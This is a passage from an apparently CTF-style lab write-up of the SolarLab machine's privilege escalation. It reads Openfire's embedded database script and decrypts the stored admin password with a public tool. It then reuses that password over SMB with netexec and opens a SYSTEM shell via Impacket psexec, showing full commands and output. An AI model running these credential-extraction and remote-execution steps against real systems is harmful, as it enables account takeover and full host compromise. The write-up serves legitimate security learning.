04/26/2024 04:39 PM <DIR> Windows Multimedia Platform
12/07/2019 12:50 PM <DIR> Windows NT
11/16/2023 11:11 PM <DIR> Windows Photo Viewer
04/26/2024 04:39 PM <DIR> Windows Portable Devices
12/07/2019 12:31 PM <DIR> Windows Security
12/07/2019 12:31 PM <DIR> WindowsPowerShell
0 File(s) 0 bytes
20 Dir(s) 7,742,881,792 bytes free
I note that, as openfire
user I can read this directory:
C:\Program Files>icacls Openfire
icacls Openfire
Openfire SOLARLAB\blake:(OI)(CI)(N)
NT SERVICE\TrustedInstaller:(CI)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)
SOLARLAB\openfire:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
and I cannot as blakeb
user.
Finally, at C:\Program Files\Openfire\embedded-db
I can see a file called openfire.script
. Reading it shows us:
C:\Program Files\Openfire\embedded-db>type openfire.script
type openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
SET DATABASE EVENT LOG LEVEL 0
SET DATABASE TRANSACTION CONTROL LOCKS
<SNIP>
SET FILES LOG SIZE 20
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
ALTER USER SA SET LOCAL TRUE
<SNIP>
SET SCHEMA PUBLIC
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
INSERT INTO OFUSERPROP VALUES('admin','console.rows_per_page','/session-summary.jsp=25')
<SNIP>
INSERT INTO OFPROPERTY VALUES('cache.MUCService''conference''Rooms.size','-1',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
INSERT INTO OFPROPERTY VALUES('provider.admin.className','org.jivesoftware.openfire.admin.DefaultAdminProvider',0,NULL)
<SNIP>
Apparently, this is a script to automate some tasks in Openfire
.
However, the password is not in plain text. It is encrypted. So we could use Openfire_decrypt repository to decrypt this password. Based on this Hashcat forum post we need 2 parameters to decrypt the password: encryptedPassword
and passwordKey
. The first parameter, encryptedPassword
is not explicitly given, but passwordKey
is. So we have 1 of 2. There is a line in the script that is interesting:
CREATE MEMORY TABLE PUBLIC.OFUSER(USERNAME VARCHAR(64) NOT NULL,STOREDKEY VARCHAR(32),SERVERKEY VARCHAR(32),SALT VARCHAR(32),ITERATIONS INTEGER,PLAINPASSWORD VARCHAR(32),ENCRYPTEDPASSWORD VARCHAR(255),NAME VARCHAR(100),EMAIL VARCHAR(100),CREATIONDATE VARCHAR(15) NOT NULL,MODIFICATIONDATE VARCHAR(15) NOT NULL,CONSTRAINT OFUSER_PK PRIMARY KEY(USERNAME))
here I can see that ENCRYPTEDPASSWORD VARCHAR(255)
is in the 7th column of table PUBLIC.OFUSER
. In the script we also have the line:
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
where the 7th column is the hash becb0<SNIP>9d442
for admin
user.
So we have the 2 things needed to decrypt the password:
encryptedPassword
value:becb0c67<SNIP>2e59d442
passwordKey
value:hGXiFzsKaAeYLjn
Now, in our attacker machine, just clone the Openfire
decryptor repository and pass the found data:
❯ git clone https://github.com/c0rdis/openfire_decrypt
<SNIP>
❯ cd openfire_decrypt
❯ java OpenFireDecryptPass.java 'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442' 'hGXiFzsKaAeYLjn'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
Where we have a password: ThisPasswordShouldDo!@
Before using this password in Openfire
GUI panel, I will check if this password is used by another user in the system like, for example, Administrator
:
❯ netexec smb 10.10.11.16 -u 'Administrator' -p 'ThisPasswordShouldDo!@'
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)
and it works.
Finally, since SMB
service is running in the victim machine, I will use psexec.py
from Impacket
to spawn an interactive shell as nt authority/system
user:
❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:'ThisPasswordShouldDo!@'@10.10.11.16 cmd.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 10.10.11.16.....
[*] Found writable share ADMIN$
[*] Uploading file TKSzIKUt.exe
[*] Opening SVCManager on 10.10.11.16.....
[*] Creating service bbPo on 10.10.11.16.....
[*] Starting service bbPo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Where we can read the root flag at Administrator
Desktop.
~ Happy Hacking